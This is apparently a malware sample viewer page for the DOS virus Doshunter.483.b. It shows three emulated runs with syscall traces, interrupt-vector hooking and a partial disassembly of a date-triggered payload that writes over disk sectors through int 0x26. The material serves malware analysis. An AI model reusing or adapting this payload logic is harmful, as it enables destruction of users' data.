Sample viewer

vx.netlux.org/Virus.DOS.Doshunter.483.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:06:10.565814854Z 42 PC: 12a44 | Get date 0x12a44: cmp dx, 0x61a
0x12a48: jne 0x12a99
0x12a4a: adc word ptr [bp + si], ax
0x12a4c: mov cx, 0x80
0x12a4f: xor dx, dx
0x12a51: int 0x26
0x12a53: jb 0x12a99
0x12a55: mov bx, 0x139
0x12a58: mov ah, 0x63
0x12a5a: sub byte ptr [bx], ah
0x12a5c: inc bx
0x12a5d: cmp bx, 0x159
0x12a61: jne 0x12a5a
0x12a63: mov ax, 0x600
0x12a66: xor bx, bx
0x12a68: int 0x10
0x12a6a: mov ah, 2
0x12a6c: xor dx, dx
0x12a6e: int 0x10
0x12a70: mov ah, 9
2018-12-17T23:06:10.568616231Z 198 PC: 12aaa | UNKNOWN!
2018-12-17T23:06:10.576557352Z 53 PC: 12abb | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:06:10.57805614Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:06:10.579595314Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=000003E8h/0000001000d bytes. ')
2018-12-17T23:06:10.584849192Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15455,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:30.186050417Z 42 PC: 12a44 | Get date 0x12a44: cmp dx, 0x61a
0x12a48: jne 0x12a99
0x12a4a: adc word ptr [bp + si], ax
0x12a4c: mov cx, 0x80
0x12a4f: xor dx, dx
0x12a51: int 0x26
0x12a53: jb 0x12a99
0x12a55: mov bx, 0x139
0x12a58: mov ah, 0x63
0x12a5a: sub byte ptr [bx], ah
0x12a5c: inc bx
0x12a5d: cmp bx, 0x159
0x12a61: jne 0x12a5a
0x12a63: mov ax, 0x600
0x12a66: xor bx, bx
0x12a68: int 0x10
0x12a6a: mov ah, 2
0x12a6c: xor dx, dx
0x12a6e: int 0x10
0x12a70: mov ah, 9
2018-12-25T12:43:30.18918042Z 198 PC: 12aaa | UNKNOWN!
2018-12-25T12:43:30.190037841Z 53 PC: 12abb | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:43:30.191306088Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:43:30.193224239Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=000003E8h/0000001000d bytes. ')
2018-12-25T12:43:30.198923539Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":26,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15455,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:30.229028924Z 42 PC: 12a44 | Get date 0x12a44: cmp dx, 0x61a
0x12a48: jne 0x12a99
0x12a4a: adc word ptr [bp + si], ax
0x12a4c: mov cx, 0x80
0x12a4f: xor dx, dx
0x12a51: int 0x26
0x12a53: jb 0x12a99
0x12a55: mov bx, 0x139
0x12a58: mov ah, 0x63
0x12a5a: sub byte ptr [bx], ah
0x12a5c: inc bx
0x12a5d: cmp bx, 0x159
0x12a61: jne 0x12a5a
0x12a63: mov ax, 0x600
0x12a66: xor bx, bx
0x12a68: int 0x10
0x12a6a: mov ah, 2
0x12a6c: xor dx, dx
0x12a6e: int 0x10
0x12a70: mov ah, 9
2018-12-25T12:43:30.232981728Z 198 PC: 12aaa | UNKNOWN!
2018-12-25T12:43:30.23410886Z 53 PC: 12abb | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:43:30.235366567Z 37 PC: 12af6 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:43:30.236857813Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=000003E8h/0000001000d bytes. ')
2018-12-25T12:43:30.243476266Z 76 PC: 12a86 | Terminate with return code (Return code = '36')